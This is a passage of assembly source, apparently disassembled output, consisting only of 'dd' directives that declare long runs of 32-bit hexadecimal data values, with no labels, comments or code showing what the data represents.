dd 9C70038h, 0CC5C105h, 1717E29h, 87C0CC3Bh, 0CD410D80h
dd 7C10F60h, 0CE810ECFh, 0AC30E40h, 0CB90CA87h, 11E0B80h
dd 9DDC0C9h, 0C84108C7h, 18F7D8F7h, 0D9671947h, 0DBC11B00h
dd 0DA1C2881h, 21E67EBh, 0DF47DEh, 0C0DD011Fh, 71881D5Ch
dd 1DC4138h, 81D4C114h, 15C040D5h, 0C0D70001h, 41168017h
dd 0D2E4D678h, 13EC12E8h, 2D37000h, 81D1C111h, 0E0400CD0h
dd 309AF05Fh, 0F141F5A0h, 0C13033E0h, 40F28AF3h, 361E3932h
dd 0F738F63Ah, 0F5013702h, 340135C0h, 3CC0F441h, 81FC10C1h
dd 13D04FDh, 2083C0FFh, 0FE8A393Eh, 3A3BFA3Ah, 0FB703B00h
dd 0F9C13901h, 40F8810Eh, 8128CE38h, 41E677D9h, 0EBC829FDh
dd 802B07C0h, 25EAE12Ah, 1F0FAEEEh, 0C0EF0F2Fh, 0ED0BC12Dh
dd 78EC6381h, 24DBE456h, 41259A00h, 12713E5h, 0E6810084h
dd 22C12640h, 0E10AF631h, 0E723E0E3h, 21C0033Bh, 0D7412080h
dd 60F7A0D7h, 0A1D761B7h, 0EF0063E5h, 40A281A3h, 97762h
dd 0A787A629h, 0A5016780h, 64DC6581h, 0EA47041h, 81ACC16Ch
dd 6D40AD00h, 0C001AF01h, 6E1E806Fh, 0AAD1AE41h, 6BE06AD9h
dd 0AB701Ch, 81A9C169h, 687040A8h, 0B8027867h, 7900B947h
dd 14C0BB01h, 0AA7A807Bh, 0BEBFBA3Fh, 7F0E7EBBh, 7D00BF70h
dd 0BC81BDC1h, 0DE7C4030h, 2674C0B4h, 3BE17580h, 0B7CE7730h
dd 403BB681h, 87720E76h, 80B340B2h, 81B10173h, 4170DC71h
dd 5010B070h, 910090C1h, 93015140h, 528053C0h, 76927441h
dd 1C567896h, 1971C57h, 8195C155h, 54CD4094h, 0C0019C01h
dd 415D805Ch, 5FE49D70h, 819F07C1h, 615E409Eh, 0C89AE15Ah
dd 5B60E09Bh, 59C099BEh, 41581F80h, 0DD88DF98h, 9F491D48h
dd 0CE4B9889h, 8A1D818Bh, 4E874A40h, 8F208E87h, 40014F80h
dd 4CEE4D8Dh, 88C4138h, 0B84C144h, 0B1814085h, 8747C087h
dd 864146CEh, 42678247h, 831C4380h, 0C19C003Dh, 38EC6681h
dd 7C07A8DBh, 0E389520Fh, 9CFCE410h, 0C158388Bh, 104359Dh
dd 899D505Dh
dd 0DFA03016h, 0C21E927Ch, 204099B2h, 904210Ah, 5F531D0Eh
dd 0A20FC0C8h, 36E0882Ch, 5B013B18h, 5ADC3Eh, 0C8E36E59h
dd 410EA582h, 3446161Dh, 3E0EACD8h, 3EE42h, 2FE83D73h
dd 0A32827FEh, 7EAFEA16h, 0BAD91Fh, 76D9C716h, 31EC13h
dd 1422C3EEh, 0C80C2038h, 16EE8C98h, 0B3E41000h, 0F4154CF0h
dd 30F64Bh, 0A101B247h, 0E8217061h, 6E1BBB1Eh, 0D63A9680h
dd 63CF2Ch, 56FF3083h, 0AD0F4B04h, 6636E900h, 0E828141Ah
dd 5E1E00EBh, 0D060EEC6h, 51005652h, 8EBAFC02h, 9C3B24h
dd 4D17C877h, 30AC0B0Ch, 0F5B0C200h, 6738B82h, 9A8C0060h
dd 0C1A707F3h, 7503C8FEh, 0C9094981h, 0DF6A9AD7h, 647FF8E0h
dd 69D64400h, 0FF9C181Fh, 75500079h, 0EE10595Dh, 0AC074514h
dd 2FA83D05h, 25447EF0h, 4F61015Eh, 0C86FF488h, 0FC0680F8h
dd 1F75F24Dh, 0CCD000D5h, 3B67AC55h, 0A6007306h, 16C60FFh
dd 0E6E82B70h, 467B00D0h, 570CF8C9h, 72075002h, 8DB38615h
dd 6FE82730h, 0EA42588Fh, 65315700h, 0DB85D873h, 110076FCh
dd 0D13BCC5Eh, 2ED25274h, 0E77D6h, 758D5713h, 0EB0002AEh
dd 1904B998h, 95F95Fh, 6A7A1E46h, 0AE1F42B0h, 3D01C978h
dd 47CB80DFh, 76D0A201h, 2516001Dh, 0C0FEB005h, 8C0E5567h
dd 0C0AA9854h, 5A38CAE9h, 8B28031Dh, 0D3CCA396h, 29A9B388h
dd 80EC0C39h, 1E202E6Dh, 0E8D5F8h, 99FFD271h, 88B83B75h
dd 50EAC702h, 0E37E5FFEh, 42588802h, 0BD41006Ch, 2A3D7145h
dd 200DEE2h, 23D6F7F3h, 275DF2h, 3920B22h, 767E1C6h, 40C3D500h
dd 0C28104FFh, 0D7720095h, 0F8F1341Bh, 0AF00A438h, 0D339D05Bh
dd 7F9475C1h, 4D2E0390h, 5C258908h, 71F246F0h, 0A5F34B00h
dd 0CE398E91h, 112E00C1h, 82F7CAABh, 0C3008130h, 65C9C455h
dd 0EF039F1h, 0CFF9BAB0h, 0F1E7DEC7h, 0D8D95616h, 5071025h
dd 6F4AC15Ch, 3A144143h, 0F01EBACAh, 18A886F7h, 0B33C4E82h
dd 1C0374A5h, 0AC25AE12h, 2063C72Eh, 0A4102005h, 950F24EEh
dd 0FD299D71h, 0AB042800h, 0FF4B9689h, 0C89BEF71h, 30B3718Fh
dd 10878021h, 52801E34h, 938013Ah, 97791257h, 0F3C10E0h
dd 9472B84Ah, 0DE041DFDh, 8A6A0005h, 0FA9553F2h, 448C64DEh
dd 1F22A618h, 8FA5F163h, 9C362F9h, 92072C11h, 0A9F35C88h
dd 0E858FBD3h, 0C3E1840Eh, 2856901Ah, 0C3A4F8F0h, 141EEB67h
dd 2305EAF3h, 47914EDAh, 40443C20h, 0CA106141h, 86164839h
dd 524A1CEh, 6F315314h, 20C897Ah, 48202523h, 0C3001CBCh
dd 0E9880534h, 43AD0677h, 4108A28Ch, 811C0D44h, 2301206h
dd 0C901FF64h, 90E04D09h, 33F200F7h, 0F350F172h, 84000469h
dd 0B22A2041h, 296EECh, 1263F04Ah, 0AAB0740Bh, 0B9E1C91Fh
dd 6B002812h, 38201042h, 0D6591F95h, 0A1880336h, 13B01757h
dd 0CA7EAC4Ah, 1003A2F0h, 0BF925509h, 0BAAAC1B4h, 0AD3F90BBh
dd 2C2864FEh, 84A403A9h, 9D6A1F1Dh, 0BD70D95Ah, 0C2D9093h
dd 18598832h, 90067D24h, 713F8CE3h, 3044802Bh, 6625AB12h
dd 0C83CFE68h, 8905B4Bh, 0A5185020h, 4576D4C4h, 0BCB0424h
dd 0C1F15ECAh, 708806A1h, 3A3D56ABh, 313F46h, 165BF362h
dd 1E7F740Ah, 5F2FC8AAh, 0F08E80D9h, 110F5D42h, 1C041433h
dd 0F2D4D324h, 5F9C808Dh, 63E61559h, 78189C92h, 0D230CCAh
dd 8921BDAFh, 0E2F89502h, 12E6C304h, 0B8F9BCF7h, 0EB51F0B4h
dd 0C43E2B7Fh, 25AA8C3Ch, 80184AE0h, 3488D544h, 0CAA8204Ah
dd 7F2E148h, 57BEA22Ah, 54C221F9h, 0F1FC4AB3h, 89B0C308h
dd 91FC5EA8h, 9E9D51E0h, 1804168h, 4A3CB06h, 84E07A9h
dd 500C56E0h, 0F4B8745Dh, 430D6800h, 0D0388817h, 7685EA14h
dd 0DCEE0044h, 0C91621C0h, 0FF7C4674h, 3EEA5E2Eh, 1C1F700h
dd 741CD9Eh, 0D1048A49h, 300A7332h, 3BF90FC3h, 3CE9E827h
dd 4002D907h, 66D00D18h, 74048B1Dh, 1E331C4Eh, 80899F4Ah
dd 83A52E4Fh, 203E0C66h, 8A61808Eh, 0F2EB8F1Ch, 0EE881E45h
dd 44470399h, 9CF0E169h, 483AA63Bh, 0A9218057h, 0B0683CE4h
dd 647585h, 0B80A7320h, 55357469h, 0C305E901h, 0B448F87Eh
dd 47CCEC40h, 0A95A00C5h, 9E159204h, 8B308D5Bh, 123BB222h
dd 95D300BCh, 5083440Dh, 0FE03380Fh, 17045257h, 8908A314h
dd 0F7F8F070h, 119A00CAh, 275C08Bh, 15392B94h, 9E059CA9h
dd 0FE081380h, 749CB254h, 61800E1h, 2F23B459h, 0FA03A25Ch
dd 6445A88Bh, 71C59088h, 804D01C3h, 8F26A69h, 172DE4D3h
dd 5D277005h, 0F1ACBCB4h, 2B157300h, 0CBF956FBh, 0A4E37A00h
dd 1C071B12h, 0DE98004Eh, 0C8EB722Ah, 7300CF26h, 0D0AC795Eh
dd 0F7D51A2h, 1AA42BDBh, 19582163h, 60E4D7D1h, 17039156h
dd 4FA9A276h, 0F85FC30Bh, 788AE7Eh, 0D1BE5355h, 1BEC80E8h
dd 5E005B2Fh, 0E2F77208h, 1E5FDC8h, 5181AD1Fh, 6132B9C6h
dd 0F18CC8C0h, 36F02200h, 0D01931BBh, 0F56D0EF8h, 50C18624h
dd 0E4F49A52h, 5600F203h, 9636641h, 1D4B9085h, 9DBFFB83h
dd 948F00ACh, 0FA71EA55h, 0F0F27A00h, 7B9B1028h, 14030F3Bh
dd 0AE611872h, 0CC51B375h, 1002372Ch, 0F3F0344Fh, 0FEE340A6h
dd 89F400E3h, 2EBF804h, 0C800C031h, 0BF841090h, 0C970F1h
dd 3C7FB12Bh, 1A961130h, 41D24124h, 3DA5C100h, 7F349455h
dd 36640043h, 0F7C90F4h, 1AFC54B6h, 4B0E9490h, 0C0F9D101h
dd 7C5D81C7h, 4CD701E2h, 8DF42F65h, 0DFCBFCFEh, 0D54F850Fh
dd 0EB4BC0FFh, 1EB8B657h, 80C69D6Bh, 0F4A74D1Dh, 91005ADCh
dd 580BC98Ah, 7402320h, 151AD042h, 3DEB6013h, 1B04E57Ch
dd 8D78384Ah, 54704D87h, 70486443h, 0EAD13F07h, 7CD28580h
dd 0B58AFA12h, 750B7800h, 881E1C01h, 0E800318h, 4A02C083h
dd 91EF51E0h, 60BD3A03h, 0D04BFCC8h, 3D49B13h, 6A2AC22h
dd 8DB1FDB4h, 0DA8BE4C0h, 0F41246EEh, 0DF013926h, 30A58559h
dd 0C428C1EFh, 98C017D8h, 8E02007Ch, 6854A118h, 0AC9083F6h
dd 85000F79h, 9541015Fh, 39FD3B0h, 1913CC45h, 0A2900D66h
dd 4207D55Ch, 1A6CFD9Dh, 68D103F0h, 0C0322E24h, 0C7C500EFh
dd 1F1EB5FFh, 1764DB00h, 5A8C5452h, 0E5A400A8h, 34FB1056h
dd 0D7008209h, 85890147h, 7598ABCh, 2F06BD83h, 91590FEh
dd 8B005184h, 1CEEAA41h, 803108h, 9FA6C721h, 7C86C2FFh
dd 9715C800h, 0B80D55F9h, 2FB90070h, 3E64B5E2h, 20048D0h
dd 27DC14B2h, 44B820h, 50143D4h, 0B566281Bh, 830F3D05h
dd 0C1BE1CC6h, 8E431330h, 0A03C6BC4h, 50887281h, 1F2F010Ch
dd 3916F76Ah, 8C8F878h, 39A0200h, 80B96019h, 0C1FE00E2h
dd 0CAB1DFE7h, 440099A0h, 35062005h, 3C3438Dh, 48777EB8h
dd 2C991F68h, 80CD4A5h, 40D05900h, 0D250C653h, 0FD8A3AE7h
dd 0F6BF2780h, 0E0B41B4h, 0E1230101h, 151DC384h, 7CF88F8h
dd 0B1E9EDA4h, 810FF9EEh, 0D77C6880h, 0E8001748h, 0FD19E1F2h
dd 1560A1Dh, 463576DAh, 0DC2A5420h, 250310B2h, 7475F8Bh
dd 0F156E06Ah, 3AC07788h, 7FBD14Ah, 956EEB62h, 9D8B50CEh
dd 83184787h, 14D010F0h, 0D4D63C97h, 0B0FE880h, 53D23E01h
dd 8A71CD00h, 0B78E13B9h, 26100027h, 164AAB95h, 63EED84Eh
dd 0EC835707h, 89D1673Dh, 0B5609940h, 0F27B0009h, 8435D337h
dd 49008FAEh, 0EC5EDD2Fh, 2130879h, 982E8B5Ch, 0A5606353h
dd 0CC03A869h, 28853AF3h, 435AE020h, 724000B8h, 58E14BECh
dd 0E244D2Ch
dd 56004441h, 5357AED6h, 0D83900FAh, 68518376h, 0CA00AD3Eh
dd 1E15587Dh, 23AC3h, 0A0149574h, 637C0CACh, 0F0444007h
dd 805973BFh, 114BD920h, 0EFE3A69h, 552D098Eh, 78FF3C3Eh
dd 23725C21h, 9A0AFF0Eh, 0EB50DA40h, 591FB525h, 6F00794Ah
dd 50CE8EDh, 7112F675h, 784D00F8h, 7CA85DF0h, 1F1345E1h
dd 260E7D0Eh, 4254C04Ch, 0EA9768h, 5DEEE456h, 523CA546h
dd 4CC75700h, 8DF3C959h, 0BBF60054h, 40E06BBAh, 0BF0B3CD5h
dd 0B59F9Ah, 44CE4653h, 6BF300B7h, 0A2EEF47Bh, 2400D23Ch
dd 705C9D64h, 42C0B4h, 0E4534AFEh, 8D6DD0AAh, 0D700C8FCh
dd 9772EF0Dh, 8FE8C3h, 98E0138h, 2C03C766h, 43C2830Fh
dd 7F084106h, 3AD08107h, 0CCB00F0h, 0E2EACBFh, 2014510h
dd 2D4C6A30h, 0B09FC32Bh, 132C0732h, 121CF018h, 11C1D08h
dd 80B91E80h, 8B0EC020h, 31473h, 0EE930C69h, 0F29FEDAh
dd 2C6EE000h, 8C046865h, 43C43EB5h, 20748680h, 80401C93h
dd 758D3803h, 0F9601317h, 2870A203h, 53620B72h, 0CC80C214h
dd 55B39296h, 4A00DB79h, 541825BCh, 852120h, 0A542F4ADh
dd 0DE973E16h, 3441331Fh, 2B1A8179h, 85240F4Ch, 1D453E9h
dd 0C9E7A06Fh, 0C2C40709h, 0D021E365h, 0FACF4F94h, 127113Ch
dd 0BD47B85Bh, 0EC85422h, 4CBE00B0h, 6303E179h, 443D6C61h
dd 65768072h, 0EC749530h, 3A430E50h, 75A0CCB4h, 6C118721h
dd 1D7CA13Bh, 9C80890Ah, 0C58B730h, 87D4009Fh, 0DB45C6E1h
dd 100009BFh, 404D8D43h, 50DA1463h, 0D9B45Ch, 74C3FB3Ah
dd 0E9870CBEh, 0F1044F98h, 63DE9515h, 0CCC0F2C7h, 75804CFEh
dd 755A00F3h, 0E7F9DF5Fh, 550025DDh, 450F43Bh, 1F84F335h
dd 336F42h, 9F90E82Eh, 0CC00E446h, 0DC09E03Fh, 1F41F1h
dd 17122211h, 870D072Bh, 0AF0F8000h, 9CADC75h, 0B8A02E0h
dd 3EF708BAh, 0EC55D660h, 0CA6C51Eh, 89F8F3CAh, 0D9B47C01h
dd 50E46E53h, 232A0208h, 28877141h, 3B83FC80h, 76B8D12Eh
dd 0E10A300h, 0DD114178h, 0B66E0003h, 72040C28h, 8A7B1812h
dd 3A3901F2h, 0E758250h, 41020742h, 78E95303h, 1CCBC4h
dd 522249FFh, 85BABE45h, 0A2315D00h, 0A36F5853h, 0FFC50F11h
dd 88E0C733h, 5A65372Bh, 0FE2A8200h, 0C0B70F02h, 0F84D0067h
dd 9A72F9B5h, 8F076D17h, 0E78BAAFDh, 2ABF0370h, 311600CFh
dd 58633F23h, 6DF6D761h, 0FC55C000h, 8D95FA2Ch, 91BD072Ah
dd 0B0EA4C39h, 5F0B4D93h, 1D7D8F00h, 909C1FBCh, 0AEAD0141h
dd 0C55880D6h, 70182023h, 1DCCA13Bh, 5280880Ah, 0EC2CA7D4h
dd 54A3022Dh, 29B63D8Dh, 0A51A0560h, 0EB97E48h, 0E0F3CB9Ch
dd 440C2A20h, 5089077Ch, 51100DD1h, 61E91977h, 0A6C3202Fh
dd 1500E8F4h, 28799020h, 2D058Bh, 1CDB313Fh, 0DAC043C1h
dd 74D80100h, 0E31DD112h, 0C0E0072h, 0F61485E1h, 0E42CC8FCh
dd 7300CBDAh, 785152F2h, 0FB600023h, 0C131A00Dh, 20E14E1h
dd 54B98Dh, 0AEF3FD4Fh, 790B8FCh, 1CA483ACh, 0E9ABA204h
dd 70816641h, 4717BA62h, 0C50040A7h, 27A09184h, 24F50774h
dd 0F8FA80h, 0FC1390Dh, 920060FEh, 1D495057h, 8CFE89h
dd 0EE475DDBh, 159862B8h, 81268D7Dh, 1612E344h, 0AE80841Fh
dd 1418F51Bh, 42933A84h, 0BB00753Bh, 7378E5A7h, 2300A56Ah
dd 3E797769h, 8D760Ah, 56423514h, 0F429DBB2h, 5C0038EEh
dd 0EA72A5EBh, 0E2D14B0h, 39FC5A61h, 905C7C0h, 93E47648h
dd 458C3C00h, 94BAEC3Eh, 75F500C5h, 9198548Bh, 0C10074B1h
dd 3A77EF56h, 0A9D319h, 0EBE2BB0Dh, 4910434Fh, 0DD07901Fh
dd 75623000h, 26961Bh, 0E9855BA5h, 103D154Ch, 0A316A80Fh
dd 0B9A9E7A7h, 147D8BD0h, 5FB60028h, 8F805E5Bh, 173936E9h
dd 95380C9h, 480F34C3h, 4CAE4C41h, 7794050Ch, 830011BCh
dd 0C958F631h, 0D9B81Ch, 240A7EFFh, 0F70545B5h, 0C201E300h
dd 0DF8DD284h, 35460E1Ch, 89800615h, 40E3E2D7h, 14012A07h
dd 3C203B11h, 1E4199F0h, 0C08944BEh, 1525F7FEh, 0C3006978h
dd 3519010h, 0B823A905h, 495A038Eh, 7180A5C8h, 790407E0h
dd 93893200h, 46B0095Ch, 82DC1FE2h, 0A314C084h, 0BA1C1318h
dd 97920400h, 0E8BF6793h, 0CCA006Fh, 0B2FF9415h, 3D008BC5h
dd 0D43B060Eh, 7D485Ch, 82B13E2Ch, 1A72D939h, 8D6C9000h
dd 9149E534h, 3C75DDh, 0A47DA6F8h, 460FA712h, 0E1541A00h
dd 7C8848A5h, 77190094h, 4CEFEA99h, 0FF073534h, 4D21832h
dd 0A8C35B40h, 0AA4A3D3Eh, 0DDF43080h, 0F640616Eh, 0FA81F800h
dd 4BBF4F0Ah, 878A00D1h, 0FDA68846h, 0F62E410Ch, 0BB0EF43Dh
dd 27902023h, 3AF8F06Ah, 190096F9h, 0D5D20A0Ch, 100E954h
dd 0D3445E9Fh, 0D8EE02h, 9B750852h, 48711CDDh, 2AC31000h
dd 3B558F8h, 33C812A0h, 8FF05DBh, 57A9019Fh, 0FC2DE241h
dd 0C174D0D2h, 8A49C200h, 8EF83BCAh, 73200FBh, 87D5355Ah
dd 9D0088F1h, 0C8D0E44Ch, 184351C1h, 66085D3Bh, 42001D40h
dd 0EFD6934Eh, 1F90ABDCh, 40106A12h, 3075448Dh, 0AC09B93Fh
dd 9109B5h, 0F5EF123Eh, 8BF61EC4h, 0DD807E06h, 0BE11F9ECh
dd 0CA2C4128h, 803FF28Dh, 0E0EB4AD6h, 5BF782h, 0F8C7448Ch
dd 0D0FB5FEFh, 4A8A330Fh, 95F58013h, 3FF0DA2h, 0F72765C5h
dd 56D0B614h, 85395917h, 0CB4800EAh, 0D947EBCh, 158A0582h
dd 81615E4Ch, 0F00F1032h, 35170BC3h, 700F3C5h, 0E37F02BAh
dd 0B1E40074h, 0C8F26FA9h, 9C00A892h, 0F385E83Eh, 127B81h
dd 8B414C87h, 0D03D1880h, 0D6732600h, 830FDFA7h, 124300E5h
dd 60890C24h, 0DF901A90h, 59EF1000h, 5D88A03h, 352900CBh
dd 0BA37DCD2h, 7200DAC1h, 22124E1Fh, 1772110h, 0C6F7690Dh
dd 402BACCEh, 0CB2519B0h, 1F947500h, 0DD1802F3h, 5E1D0064h
dd 913BA40h, 0E800CEFAh, 0F535AE4Ah, 53CCA9h, 0D9D24EFFh
dd 897F4801h, 16C90A07h, 64C158FCh, 0E6600E19h, 2833B32h
dd 3E92042Ch, 3B66A080h, 7127506h, 76C98500h, 45BE8B20h
dd 0EEFC2C5Dh, 814000Bh, 21612EBh, 0C00017Ah, 0D400EC0h
dd 355449h, 41CE751Bh, 8289AC08h, 0EAA4F800h, 4790C362h
dd 142D00DCh, 3EE091FBh, 1500EE21h, 0EC2906C0h, 0F01F84h
dd 1DC8BD4Ch, 0FC485FB9h, 0EFE06B02h, 0F58E412Dh, 344F9B40h
dd 0D029EDF5h, 0C50079B7h, 4ACCBD43h, 4FB67h, 0A0380C4h
dd 8B87558Dh, 351DD77Dh, 49001EB5h, 1AB940C6h, 19FA00C4h
dd 1624DEC0h, 0B100DF77h, 9B7A8528h, 70CAA1Dh, 899E2099h
dd 1A7FB0FBh, 24008E01h, 7027CA11h, 0FCDFF045h, 320D0598h
dd 802EE2E9h, 9B89110Fh, 50003E71h, 25F5E86Fh, 1A6DC9h
dd 2DAF884Ah, 0BD830685h, 9847E40Fh, 0EB2BA108h, 0B02E7E1Ch
dd 7500F25Dh, 43C61611h, 28FB05h, 0C134E94Ah, 0A282701Dh
dd 1C8E9507h, 857214C0h, 0D7C0C0D2h, 0B4481FA0h, 5C80FAEAh
dd 0F78023Ah, 0F7008537h, 0B26BBA13h, 710D49Ch, 80792075h
dd 1757D054h, 11001993h, 0D2515303h, 0A04D14h, 0F78B4781h
dd 0D0AA4256h, 9EFFB300h, 0E8FCEF51h, 136100D3h, 7F468A3Ch
dd 88050920h, 699D7F9h, 87578580h, 30871C2h, 0A2B45005h
dd 604C6A8Eh, 4DE82C66h, 49271B00h, 0C0223Dh, 0BAE12A76h
dd 0AA922E38h, 7B430700h, 0EE811EE0h, 971400A2h, 754F8568h
dd 0A91328E2h, 6100CA21h, 951ABB92h, 610D0705h, 50201253h
dd 915189D4h, 80D00E3Ch
dd 3C4F9BE8h, 1F7F55h, 522228DCh, 0A11392F0h, 0E6E55800h
dd 309419D1h, 21F53F59h, 0D740A00h, 0ADD73C84h, 4300EC90h
dd 564B5E2Ah, 1C212C30h, 0DE1D5960h, 40B51F5Bh, 792A4D6h
dd 2C037389h, 852E56DDh, 352DA0FCh, 6B6C1EE9h, 0C0655D64h
dd 991257C2h, 0AB735B30h, 6800C4E8h, 164E912Dh, 0AF6CB8h
dd 0C20B9557h, 0C050C194h, 2DAD2201h, 49AC5C90h, 4021FD40h
dd 6C7002Ch, 2811D6D4h, 9B03CB42h, 22431AFDh, 7AD998AAh
dd 4330093h, 3C60ABCh, 0C9009901h, 6F8B29DEh, 75B9A609h
dd 116500A5h, 5B73A488h, 1AE626C7h, 535D7401h, 41243EF9h
dd 0D794E8h, 8DD38549h, 0E8CB3122h, 7B80BE1Eh, 4C7E04C0h
dd 1FBAE619h, 402F2BE1h, 0F62E284Ah, 46FE2D42h, 52D6EE00h
dd 92B6E74Fh, 2AB3008Dh, 1CB95D65h, 2E1F29C4h, 80E7438h
dd 4254C730h, 17AF9770h, 3F59FA90h, 0EC00F7F0h, 0CF806A9h
dd 0E4008AF4h, 89FC7E5Fh, 0F100F41h, 53A22F3Eh, 3B2C9FA0h
dd 8000550Eh, 0A9F752B9h, 77138B2Ah, 1AA80796h, 0B008F49Fh
dd 4A95651Dh, 54855600h, 5E2F412Eh, 6570E776h, 0AA810057h
dd 80744965h, 0BE0207F0h, 0EB0F0263h, 0B24DE005h, 7F17F8C1h
dd 0EC880E11h, 29604276h, 5245CC6h, 55455900h, 0EB3125B2h
dd 93AF00CAh, 5C7D1404h, 0E1002CBCh, 100E2F71h, 77F1799Ch
dd 9A0A0078h, 0EC6EDF3Eh, 52000B44h, 7367650Eh, 0EE9320h
dd 0D3815A84h, 9B64C883h, 71BF1800h, 17514794h, 93F20052h
dd 31D0811Fh, 0F80039D2h, 41D7408h, 5275F7h, 9A16B192h
dd 730A8BB0h, 806D400h, 95419FE8h, 0B8495F01h, 0B87E007Eh
dd 9451A25Ch, 740C0018h, 76453AF4h, 6F3ED5EFh, 0BD200735h
dd 95F00A9Eh, 3CE25EAh, 0DB481408h, 0F7A0D81Eh, 3D00A5D0h
dd 8A9018A9h, 7BC8FE04h, 6CF100F6h, 59AD14B9h, 107D865h
dd 0C7D8051h, 0BBF27F50h, 5AEB0039h, 1FE81A03h, 0C8005220h
dd 0E224D455h, 0F45148Ah, 4D485D37h, 0D03BA520h, 46BE5105h
dd 0D800912Eh, 46048D21h, 0AA9E00C0h, 696FB20h, 0D900AB10h
dd 0FAEBFC4h, 98177504h, 95700023h, 16F2B8D8h, 0BE005CD4h
dd 0F8573ECEh, 54964h, 0B814922Ah, 6741526h, 5869A703h
dd 0D8D1D7C2h, 13F681Ch, 3323E1FDh, 0D8458850h, 10FA03B2h
dd 48A05D3Dh, 7ED20333h, 0C0800F40h, 704CA3Eh, 5E0E8803h
dd 304AC7C3h, 0C40C51F1h, 0B2262F07h, 3A701B39h, 7A66320Eh
dd 2E467588h, 0E5F45Ah, 5DD05110h, 0E800F83Eh, 0D825996Fh
dd 730BEE89h, 4FAE0h, 0C822B7Ch, 265FAD56h, 2ACBC907h
dd 5B7046FBh, 16BD1A21h, 0D0A58h, 1E8CED37h, 7800A06Bh
dd 0FF21CC43h, 274D10h, 60DEDF75h, 7DF9B1E7h, 0A7B36400h
dd 0EB2AC154h, 24A90707h, 57EA5953h, 0F57A501Fh, 84002065h
dd 2C413249h, 7944A0h, 70B8220Ah, 62FB53BDh, 190507Fh
dd 3300A0FCh, 13156A8h, 200BE5h, 5C15D524h, 6051F8C6h
dd 0DB040801h, 2BAB4533h, 59C29E4h, 1D1CF527h, 10F28019h
dd 13001109h, 87D18512h, 0EE881848h, 44012C1Ch, 57003F59h
dd 0D5721571h, 2D00B479h, 0DF5AD4F6h, 44CBD6Dh, 503089D9h
dd 338C8004h, 0A00CFD2h, 8D88EF18h, 219C11h, 0C36847C6h
dd 0E27B7880h, 0B055500h, 22CA2EBAh, 60570044h, 4B011029h
dd 2801FA5Fh, 16BE5250h, 4C4CB24h, 0D58300B3h, 0A981FBEBh
dd 9100187Ah, 235060Ch, 0E2A876h, 5A402D7Ch, 52643155h
dd 83762AE4h, 0A6187800h, 14D98906h, 0FCCE78FFh, 5A540E40h
dd 1CAFE4DDh, 0A42BFAC3h, 830C1AA0h, 7430682Eh, 14020800h
dd 0FE6A24B2h, 3F40F60h, 0AA0129B0h, 0CED8AC10h, 808A3EC0h
dd 0AF49741Fh, 0DCE82B00h, 0E2F8B2h, 8DFC864Ah, 0D65048A4h
dd 7F000D7Eh, 0C52F4423h, 7380C96Dh, 90D300A8h, 6774292Eh
dd 32003BD9h, 1120C61h, 2036A5Bh, 0AB574555h, 946330C3h
dd 2D9935EBh, 9014D05Eh, 1C8ACD1Fh, 66B000B9h, 0CE81DCAAh
dd 0C2D80088h, 0C457016Ah, 430060C3h, 0F87D89A3h, 2F6FFABh
dd 996625A7h, 4ADEEF7Eh, 3302C900h, 10CE307h, 1C8D180Bh
dd 0D8C26938h, 9B1E825Ch, 0EC00428Ah, 8BF697C8h, 0ABBC0229h
dd 519ACAA1h, 864BC640h, 5045480Ah, 500B91Fh, 44F0E83Fh
dd 34CE0095h, 7DDB1EC3h, 0FE033E09h, 1058E665h, 0E7C0F8CDh
dd 0EA310066h, 110DA5C3h, 100A229h, 0DC1C5E06h, 86957Eh
dd 70FEF684h, 80905214h, 0D821E500h, 7D05253Bh, 4280E2Eh
dd 0A54261A6h, 0D0609FA0h, 1C002DE3h, 715FC831h, 934335h
dd 8D092280h, 89A59644h, 6610B900h, 148EBB8h, 55500018h
dd 0C395CCCFh, 8300021Fh, 20CD0C10h, 0B0067Dh, 6CE8AAF2h
dd 0F312C879h, 80037BFEh, 363E2E26h, 6A65D064h, 0CD770006h
dd 234D836Dh, 9DB0145Bh, 15A65E14h, 0A39400D5h, 0BEA09A95h
dd 74EB0D3h, 3F8624FEh, 0E72230D2h, 420F01B7h, 56A57h
dd 0F2088AECh, 3B580051h, 0C24AE5FDh, 0A258FCDDh, 452401DBh
dd 4E776905h, 3491E8h, 0D317DB79h, 0A1C267Ah, 9DC0C100h
dd 0A6C81DE0h, 0F7070142h, 0D8C3F8C2h, 0FF2FD983h, 10B3D0F0h
dd 0E801E074h, 601316FFh, 0CF0E6Ah, 2D461C66h, 7C09E381h
dd 0B6430403h, 0C0C0D3A0h, 0D80108h, 48469466h, 65AD7AAAh
dd 745A3401h, 0C081D9C8h, 0D8D0D0h, 85CCFCE0h, 26076B24h
dd 303CC200h, 0ED805889h, 66813BB3h, 5AA59Fh, 0D485F442h
dd 1000D07Ah, 3738273Fh, 0A241B6h, 0B804129Ah, 8B2EC6AAh
dd 0ED779201h, 0B151520Ah, 45AC0E0h, 0B88DC850h, 0D137837Ch
dd 38302880h, 130B0300h, 2B230A1Bh, 0AA5E0033h, 8084B14Ah
dd 0A200C0C7h, 6AB550B6h, 1D35C5AEh, 3EF58B98h, 0CAB803F9h
dd 335868F2h, 2B0328D8h, 44DB300h, 37F3C43Fh, 1733C55h
dd 5663004h, 0BA1DC044h, 1D0FD276h, 405D786Ah, 0FEE16753h
dd 6E010028h, 91F93538h, 22009409h, 0DAC144AAh, 16EC89h
dd 693E552h, 92EA3FEh, 3133E81Eh, 1EA6C74Ch, 841403FDh
dd 0A272F03h, 0E1F810C8h, 0D302B00h, 0EF4155A9h, 2DD500B0h
dd 0D3B11994h, 3C031532h, 33527B12h, 0E117E36Ch, 5EE83407h
dd 0CDF15898h, 8FE5300h, 0EC1EFF26h, 91FD1400h, 65C2ADE1h
dd 47823B42h, 6E32EE80h, 0CB135C7Ch, 0AC841000h, 0D99CA548h
dd 0A62D0042h, 2985E80Ch, 36FA4430h, 0B8310800h, 2371409h
dd 0CC240764h, 0D0951A52h, 9BA9BDC5h, 92D7B700h, 0E7E3104Dh
dd 776A3A1Bh, 7D249500h, 4C568F01h, 0E45C0C00h, 401563A6h
dd 0C5D90050h, 2C8B2943h, 0B4014E93h, 7410623Ah, 3FE8B514h
dd 19A30FC2h, 31270A2Bh, 0F037E771h, 12A6BA1h, 723A630Fh
dd 6469F2h, 8230B07Dh, 43AA1EB6h, 0E889006Dh, 9EEA85EFh
dd 0C3E33400h, 0C0BBB121h, 31AA3A35h, 0F184B303h, 0C3A51F04h
dd 3BA80628h, 3A3064A0h, 9160FE09h, 7522306Ch, 8EAA6860h
dd 0E4DAF200h, 80142E66h, 0D4503AC0h, 1F096A81h, 0E55185CEh
